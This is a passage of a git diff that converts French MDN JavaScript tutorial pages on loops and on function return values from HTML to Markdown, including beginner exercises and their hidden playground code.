l'intérieur de la boucle : - <ul> - <li><code>const paragraphe = document.createElement('p');</code> — crée un nouveau paragraphe.</li> - <li><code>output.appendChild(para);</code> — ajoute le paragraphe à la sortie <code><div></code>.</li> - <li><code>paragraphe.textContent =</code> — Rend le texte à l'intérieur du paragraphe identique à ce que vous avez entré du côté droit du signe égal.</li> - </ul> - </li> - <li>Chaque nombre de l'itération nécessite un texte différent dans le paragraphe de cette itération (vous aurez besoin d'une expression conditionnelle et plusieurs lignes du type : <code>paragraphe.textContent = )</code> - <ul> - <li>Si le nombre est 10, écrire "Countdown 10" dans le paragraphe.</li> - <li>Si le nombre est 0, écrire "Blast off!" dans le paragraphe.</li> - <li>Pour tout autre nombre, écrire simplement le nombre dans le paragraphe.</li> - </ul> - </li> - <li>Noubliez pas d'inclure un itérateur ! Quoi qu'il en soit, dans cet exemple nous comptons à rebours après chaque itération, pas de manière croissante, alors vous ne voudrez pas <code>i++</code> — Comment allez vous créer l'itération décroissante ?</li> -</ul> - -<p>Si vous faites une erreur, vous pourrez toujours réinitialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.</p> - -<pre class="brush: html hidden"><h2>Sortie en direct</h2> -<div class="output" style="height: 410px;overflow: auto;"> - -</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Appuyer sur Échap pour décibler le code</p> -<textarea id="code" class="playable-code" style="height: 300px;"> +Si vous faites une erreur, vous pourrez toujours réinitialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution. + +```html hidden +<h2>Sortie en direct</h2> +<div class="output" style="height: 410px;overflow: auto;"> + +</div> +<h2>Code modifiable</h2> +<p class="a11y-label">Appuyer sur Échap pour décibler le code</p> +<textarea id="code" class="playable-code" style="height: 300px;"> const output = document.querySelector('.output'); output.innerHTML = ''; @@ -560,15 +551,16 @@ output.innerHTML = ''; // const paragraphe = document.createElement('p'); // paragraphe.textContent = ; // output.appendChild(para); -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">const textarea = document.getElementById('code'); +```js hidden +const textarea = document.getElementById('code'); const reset = document.getElementById('reset'); const solution = document.getElementById('solution'); const code = textarea.value; @@ -596,7 +588,7 @@ solution.addEventListener('click', function() { updateCode(); }); -let jsSolution = 'let output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i >= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; +let jsSolution = 'let output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i >= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; let solutionEntry = jsSolution; textarea.addEventListener('input', updateCode); @@ -643,47 +635,42 @@ textarea.onkeyup = function(){ updateCode(); }; -</pre> +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_Lancer_le_compte_à_rebours', '100%', 780) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_Lancer_le_compte_à_rebours', '100%', 780) }} -<h2 id="Apprentissage_actif_remplir_une_liste_d'invités.">Apprentissage actif : remplir une liste d'invités.</h2> +## Apprentissage actif : remplir une liste d'invités. -<p>Dans cet exercice, nous vous proposons de prendre une liste d'invités stockée dans un tableau et de la mettre sur une liste d'invités. Mais cela n'est pas si simple — nous ne voulons pas laisser entrer Phil et Lola parce que ce sont des goinfres et qu'ils sont mal élevés, et ils mangent toujours toute la nourriture ! Nous avons deux listes, une pour les invités admis, une pour ceux que l'on refuse.</p> +Dans cet exercice, nous vous proposons de prendre une liste d'invités stockée dans un tableau et de la mettre sur une liste d'invités. Mais cela n'est pas si simple — nous ne voulons pas laisser entrer Phil et Lola parce que ce sont des goinfres et qu'ils sont mal élevés, et ils mangent toujours toute la nourriture ! Nous avons deux listes, une pour les invités admis, une pour ceux que l'on refuse. -<p>Plus précisément, nous attendons de vous :</p> +Plus précisément, nous attendons de vous : -<ul> - <li>Que vous écriviez une boucle qui créé une itération de 0 jusqu'à la fin du tableau <code>people</code>. Vous aurez besoin de commencer avec un initialiseur type <code>let i = 0;</code> , mais quelle sera la condition de sortie</li> - <li>Au cours de chaque itération, vérifiez si l'élément actuel du tableau est "Phil" ou "Lola" en utilisant une déclaration conditionnelle. - <ul> - <li>Si tel est le cas, concaténez l'élément à la fin du paragraphe <code>refused</code> du <code>textContent</code>, suivi d'une virgule et d'un espace.</li> - <li>Dans le cas contraire, concaténez l'élément à la fin du paragraphe <code>admitted</code> du <code>textContent</code> suivi d'une virgule et d'un espace.</li> - </ul> - </li> -</ul> +- Que vous écriviez une boucle qui créé une itération de 0 jusqu'à la fin du tableau `people`. Vous aurez besoin de commencer avec un initialiseur type `let i = 0;` , mais quelle sera la condition de sortie +- Au cours de chaque itération, vérifiez si l'élément actuel du tableau est "Phil" ou "Lola" en utilisant une déclaration conditionnelle. -<p>Nous vous avons déjà fourni les éléments suivants :</p> + - Si tel est le cas, concaténez l'élément à la fin du paragraphe `refused` du `textContent`, suivi d'une virgule et d'un espace. + - Dans le cas contraire, concaténez l'élément à la fin du paragraphe `admitted` du `textContent` suivi d'une virgule et d'un espace. -<ul> - <li><code>let i = 0;</code> — Votre initialiseur.</li> - <li><code>refused.textContent +=</code> — le début de la ligne qui va concaténer un élément à la fin du <code>refused.textContent</code>.</li> - <li><code>admitted.textContent +=</code> — le début de la ligne qui va concaténer un élément à la fin du <code>admitted.textContent</code>.</li> -</ul> +Nous vous avons déjà fourni les éléments suivants : -<p>Question bonus — après avoir accompli les tâches ci-dessus, il vous restera deux listes de noms séparées par des virgules, mais elles seront mal présentées— il y aura des virgules à la fin de chacune d'elles. Pouvez-vous faire en sorte d'écrire des lignes de code qui coupent les dernières virgules dans chacune d'elles, et ajoute un arrêt total à la fin ? Jetez un oeil à l'article <a href="/fr/docs/Learn/JavaScript/First_steps/methode_chaine_utile">Méthodes utiles pour les chaînes de caractères </a>pour obtenir de l'aide.</p> +- `let i = 0;` — Votre initialiseur. +- `refused.textContent +=` — le début de la ligne qui va concaténer un élément à la fin du `refused.textContent`. +- `admitted.textContent +=` — le début de la ligne qui va concaténer un élément à la fin du `admitted.textContent`. -<p>Si vous faites une erreur, vous pourrez toujours ré-initialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.</p> +Question bonus — après avoir accompli les tâches ci-dessus, il vous restera deux listes de noms séparées par des virgules, mais elles seront mal présentées— il y aura des virgules à la fin de chacune d'elles. Pouvez-vous faire en sorte d'écrire des lignes de code qui coupent les dernières virgules dans chacune d'elles, et ajoute un arrêt total à la fin ? Jetez un oeil à l'article [Méthodes utiles pour les chaînes de caractères ](/fr/docs/Learn/JavaScript/First_steps/methode_chaine_utile)pour obtenir de l'aide. -<pre class="brush: html hidden"><h2>Live output</h2> -<div class="output" style="height: 100px;overflow: auto;"> - <p class="admitted">Admettre : </p> - <p class="refused">Refuser : </p> -</div> +Si vous faites une erreur, vous pourrez toujours ré-initialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution. -<h2>Editable code</h2> -<p class="a11y-label">Appuyer sur Échap pour décibler le code</p> -<textarea id="code" class="playable-code" style="height: 400px;width: 95%"> +```html hidden +<h2>Live output</h2> +<div class="output" style="height: 100px;overflow: auto;"> + <p class="admitted">Admettre : </p> + <p class="refused">Refuser : </p> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Appuyer sur Échap pour décibler le code</p> +<textarea id="code" class="playable-code" style="height: 400px;width: 95%"> const people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce']; const admitted = document.querySelector('.admitted'); @@ -696,14 +683,16 @@ refused.textContent = 'Refuse: ' // refused.textContent += ; // admitted.textContent += ; -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -721,9 +710,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">const textarea = document.getElementById('code'); +```js hidden +const textarea = document.getElementById('code'); const reset = document.getElementById('reset'); const solution = document.getElementById('solution'); let code = textarea.value; @@ -752,7 +743,7 @@ solution.addEventListener('click', function() { updateCode(); }); -let jsSolution = 'const people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nconst admitted = document.querySelector(\'.admitted\');\nconst refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nlet i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; +let jsSolution = 'const people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nconst admitted = document.querySelector(\'.admitted\');\nconst refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nlet i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; let solutionEntry = jsSolution; textarea.addEventListener('input', updateCode); @@ -798,59 +789,55 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample("Apprentissage_actif_remplir_une_liste_d'invités.", '100%', 580) }}</p> +{{ EmbedLiveSample("Apprentissage_actif_remplir_une_liste_d'invités.", '100%', 580) }} -<h2 id="Quel_type_de_boucle_utiliser">Quel type de boucle utiliser ?</h2> +## Quel type de boucle utiliser ? -<p>Pour des usages basiques les boucles <code>for</code>, <code>while</code>, et <code>do...while</code> sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau.</p> +Pour des usages basiques les boucles `for`, `while`, et `do...while` sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau. -<p>Premièrement <code>for</code>:</p> +Premièrement `for`: -<pre>for (initialisation; condition de sortie; expression finale) { - // code à exécuter -}</pre> + for (initialisation; condition de sortie; expression finale) { + // code à exécuter + } -<p><code>while</code>:</p> +`while`: -<pre>initialisation -while (condition de sortie) { - // code à exécuter + initialisation + while (condition de sortie) { + // code à exécuter - expression finale -}</pre> + expression finale + } -<p>et enfin <code>do...while</code>:</p> +et enfin `do...while`: -<pre>initialisation -do { - // code à exécuter + initialisation + do { + // code à exécuter - expression finale -} while (condition de sortie)</pre> + expression finale + } while (condition de sortie) -<p>Nous recommandons <code>for</code>, au moins pour commencer, car elle est probablement la plus facile pour tout se remémorer — l'initialisation, la condition de sortie, l'expression finale, le tout soigneusement placé entre des parenthèses. De cette façon, il est facile de voir où elles se trouvent et de vérifier qu'on ne les a pas oubliées.</p> +Nous recommandons `for`, au moins pour commencer, car elle est probablement la plus facile pour tout se remémorer — l'initialisation, la condition de sortie, l'expression finale, le tout soigneusement placé entre des parenthèses. De cette façon, il est facile de voir où elles se trouvent et de vérifier qu'on ne les a pas oubliées. -<div class="note"> -<p><strong>Note :</strong> Il y a d'autres types de boucles et de particularités, qui sont très utiles pour des situations spéciales et qui ne sont pas décrites dans cet article. Si vous voulez aller plus loin dans l'apprentissage des boucles, lisez le guide <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration">Boucles et itérations</a>.</p> -</div> +> **Note :** Il y a d'autres types de boucles et de particularités, qui sont très utiles pour des situations spéciales et qui ne sont pas décrites dans cet article. Si vous voulez aller plus loin dans l'apprentissage des boucles, lisez le guide [Boucles et itérations](/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration). -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Cet article vous a révélé les concepts basiques et les différentes options disponibles pour créer des boucles en JavaScript. Vous devriez à présent être en mesure de comprendre en quoi les boucles constituent un bon mécanisme lorsqu'il s'agit de répéter une action dans le code, et vous devez être impatient de les utiliser dans vos propres exemples !</p> +Cet article vous a révélé les concepts basiques et les différentes options disponibles pour créer des boucles en JavaScript. Vous devriez à présent être en mesure de comprendre en quoi les boucles constituent un bon mécanisme lorsqu'il s'agit de répéter une action dans le code, et vous devez être impatient de les utiliser dans vos propres exemples ! -<p>S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article ou à <a href="/fr/Apprendre#Nous_contacter">nous contacter </a>pour demander de l'aide.</p> +S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article ou à [nous contacter ](/fr/Apprendre#Nous_contacter)pour demander de l'aide. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration">Boucles et itération</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">L'instruction for</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/while">while</a> et <a href="/fr/docs/Web/JavaScript/Reference/Instructions/do...while">do...while</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/break">break</a> et <a href="/fr/docs/Web/JavaScript/Reference/Instructions/continue">continue</a></li> - <li><p><a href="https://www.impressivewebs.com/javascript-for-loop/">What’s the Best Way to Write a JavaScript For Loop?</a> — quelques bonnes pratiques en matière de boucles</p> - </li> -</ul> +- [Boucles et itération](/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration) +- [L'instruction for](/fr/docs/Web/JavaScript/Reference/Instructions/for) +- [while](/fr/docs/Web/JavaScript/Reference/Instructions/while) et [do...while](/fr/docs/Web/JavaScript/Reference/Instructions/do...while) +- [break](/fr/docs/Web/JavaScript/Reference/Instructions/break) et [continue](/fr/docs/Web/JavaScript/Reference/Instructions/continue) +- [What’s the Best Way to Write a JavaScript For Loop?](https://www.impressivewebs.com/javascript-for-loop/) — quelques bonnes pratiques en matière de boucles -<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}} diff --git a/files/fr/learn/javascript/building_blocks/return_values/index.md b/files/fr/learn/javascript/building_blocks/return_values/index.md index 2d2b9f628e..c93c4c94a6 100644 --- a/files/fr/learn/javascript/building_blocks/return_values/index.md +++ b/files/fr/learn/javascript/building_blocks/return_values/index.md @@ -14,170 +14,184 @@ tags: translation_of: Learn/JavaScript/Building_blocks/Return_values original_slug: Apprendre/JavaScript/Building_blocks/Return_values --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article.</p> +Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td> - <p>Base en langage informatique, une compréhension basic de HTML et CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions">Fonctions — blocks de code réutilisable</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les valeurs de retour, et comment les utiliser.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + <p> + Base en langage informatique, une compréhension basic de HTML et CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >Premiers pas en JavaScript</a + >, + <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions" + >Fonctions — blocks de code réutilisable</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td>Comprendre les valeurs de retour, et comment les utiliser.</td> + </tr> + </tbody> </table> -<h2 id="Qu'est-ce_que_les_valeurs_de_retour">Qu'est-ce que les valeurs de retour?</h2> +## Qu'est-ce que les valeurs de retour? -<p><strong>Les valeurs de retour </strong>sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code:</p> +**Les valeurs de retour** sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code: -<pre class="brush: js">var myText = 'I am a string'; +```js +var myText = 'I am a string'; var newString = myText.replace('string', 'sausage'); console.log(newString); // the replace() string function takes a string, // replaces one substring with another, and returns -// a new string with the replacement made</pre> +// a new string with the replacement made +``` -<p>Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> sur la chaîne de caractères <code>myText</code> , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString.</p> +Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction [replace()](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace) sur la chaîne de caractères `myText` , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString. -<p>Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">Valeur retournée</a>. Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible.</p> +Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée [Valeur retournée](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value). Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible. -<p>Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme <code>void</code> ou <code>undefined</code> dans de tels cas). Par exemple, dans la fonction <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50">displayMessage() </a> construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout !</p> +Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme `void` ou `undefined` dans de tels cas). Par exemple, dans la fonction [displayMessage() ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50) construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout ! -<p>Généralement, une valeur de retour est utilisée lorsque la fonction est une étape intermédiaire dans un programme. Ces valeurs intermédiaires doivent être d'abord évaluées par une fonction, le résultat renvoyé pourra être ensuite utilisé dans l'étape suivante du programme.</p> +Généralement, une valeur de retour est utilisée lorsque la fonction est une étape intermédiaire dans un programme. Ces valeurs intermédiaires doivent être d'abord évaluées par une fonction, le résultat renvoyé pourra être ensuite utilisé dans l'étape suivante du programme. -<h3 id="Utiliser_des_valeurs_de_retour_dans_vos_fonctions">Utiliser des valeurs de retour dans vos fonctions</h3> +### Utiliser des valeurs de retour dans vos fonctions -<p>Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef <a href="/fr/docs/Web/JavaScript/Reference/Statements/return">return</a> . Nous avons vu son utilisation dans l'exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a>. Notre fonction <code>draw()</code> dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}:</p> +Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef [return](/fr/docs/Web/JavaScript/Reference/Statements/return) . Nous avons vu son utilisation dans l'exemple [random-canvas-circles.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html). Notre fonction `draw()` dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}: -<pre class="brush: js">function draw() { +```js +function draw() { ctx.clearRect(0,0,WIDTH,HEIGHT); - for (var i = 0; i < 100; i++) { + for (var i = 0; i < 100; i++) { ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ctx.fill(); } -}</pre> +} +``` -<p>À chaque itération de la boucle, on fait trois fois appel à la fonction <code>random()</code> pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction <code>random()</code> prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble:</p> +À chaque itération de la boucle, on fait trois fois appel à la fonction `random()` pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction `random()` prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble: -<pre class="brush: js">function random(number) { +```js +function random(number) { return Math.floor(Math.random()*number); -}</pre> +} +``` -<p>Cela peut aussi s'écrire ainsi:</p> +Cela peut aussi s'écrire ainsi: -<pre class="brush: js">function random(number) { +```js +function random(number) { var result = Math.floor(Math.random()*number); return result; -}</pre> +} +``` -<p>Mais la première version est plus rapide à écrire, et plus compacte.</p> +Mais la première version est plus rapide à écrire, et plus compacte. -<p>La fonction retourne le résultat de <code>Math.floor(Math.random()*number)</code> chaque fois qu'elle est appelée. Cette valeur de retour apparaît à l'endroit où la fonction a été appelée, puis le code continue. Si, par exemple, nous exécutons la ligne suivante:</p> +La fonction retourne le résultat de `Math.floor(Math.random()*number)` chaque fois qu'elle est appelée. Cette valeur de retour apparaît à l'endroit où la fonction a été appelée, puis le code continue. Si, par exemple, nous exécutons la ligne suivante: -<pre class="brush: js">ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);</pre> +```js +ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); +``` -<p>et que les trois appels <code>random()</code> retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon:</p> +et que les trois appels `random()` retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon: -<pre class="brush: js">ctx.arc(500, 200, 35, 0, 2 * Math.PI);</pre> +```js +ctx.arc(500, 200, 35, 0, 2 * Math.PI); +``` -<p>Les fonctions de la ligne sont évaluées en premières, et leurs valeurs de retour viennent remplacer les appels de fonctions avant que la ligne elle-même ne soit exécutée.</p> +Les fonctions de la ligne sont évaluées en premières, et leurs valeurs de retour viennent remplacer les appels de fonctions avant que la ligne elle-même ne soit exécutée. -<h2 id="Apprentissage_actif_notre_propre_fonction_avec_valeur_de_retour">Apprentissage actif: notre propre fonction avec valeur de retour</h2> +## Apprentissage actif: notre propre fonction avec valeur de retour -<p>Allons-y, écrivons nos propres fonctions avec des valeurs de retour.</p> +Allons-y, écrivons nos propres fonctions avec des valeurs de retour. -<ol> - <li>Pour commencer, faites une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html">function-library.html</a> à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré.</li> - <li>Ajoutons quelques fonctions dans <code><script></code> . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: - <pre class="brush: js">function squared(num) { - return num * num; -} +1. Pour commencer, faites une copie locale du fichier [function-library.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html) à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré. +2. Ajoutons quelques fonctions dans `<script>` . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: -function cubed(num) { - return num * num * num; -} + ```js + function squared(num) { + return num * num; + } -function factorial(num) { - var x = num; - while (x > 1) { - num *= x-1; - x--; - } - return num; -}</pre> - Les fonctions <code>squared()</code> et <code>cubed()</code> sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction <code>factorial()</code> retourne la <a href="https://en.wikipedia.org/wiki/Factorial">factorielle</a> du nombre donné.</li> - <li>Ensuite, nous allons ajouter un moyen d'afficher des informations sur le nombre entré dans le champ texte. Ajoutez le gestionnaire d'événement suivant à la suite des fonctions: - <pre class="brush: js">input.onchange = function() { - var num = input.value; - if (isNaN(num)) { - para.textContent = 'You need to enter a number!'; - } else { - para.textContent = num + ' squared is ' + squared(num) + '. ' + - num + ' cubed is ' + cubed(num) + '. ' + - num + ' factorial is ' + factorial(num) + '.'; - } -}</pre> + function cubed(num) { + return num * num * num; + } + + function factorial(num) { + var x = num; + while (x > 1) { + num *= x-1; + x--; + } + return num; + } + ``` + + Les fonctions `squared()` et `cubed()` sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction `factorial()` retourne la [factorielle](https://en.wikipedia.org/wiki/Factorial) du nombre donné. + +3. Ensuite, nous allons ajouter un moyen d'afficher des informations sur le nombre entré dans le champ texte. Ajoutez le gestionnaire d'événement suivant à la suite des fonctions: + + ```js + input.onchange = function() { + var num = input.value; + if (isNaN(num)) { + para.textContent = 'You need to enter a number!'; + } else { + para.textContent = num + ' squared is ' + squared(num) + '. ' + + num + ' cubed is ' + cubed(num) + '. ' + + num + ' factorial is ' + factorial(num) + '.'; + } + } + ``` + + Ici nous créons un gestionnaire d'événement `onchange` qui s'exécute chaque fois que l'événement `change` se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable `num`. - <p>Ici nous créons un gestionnaire d'événement <code>onchange</code> qui s'exécute chaque fois que l'événement <code>change</code> se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable <code>num</code>.</p> + Ensuite, nous faisons un test: Si la valeur entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression `isNaN(num)` retourne `true`. Nous utilisons la fonction [isNaN()](/fr/docs/Web/JavaScript/Reference/Global_Objects/isNaN) pour vérifier si la valeur `num` est un nombre — si c'est le cas, elle retourne `false`, sinon `true`. - <p>Ensuite, nous faisons un test: Si la valeur 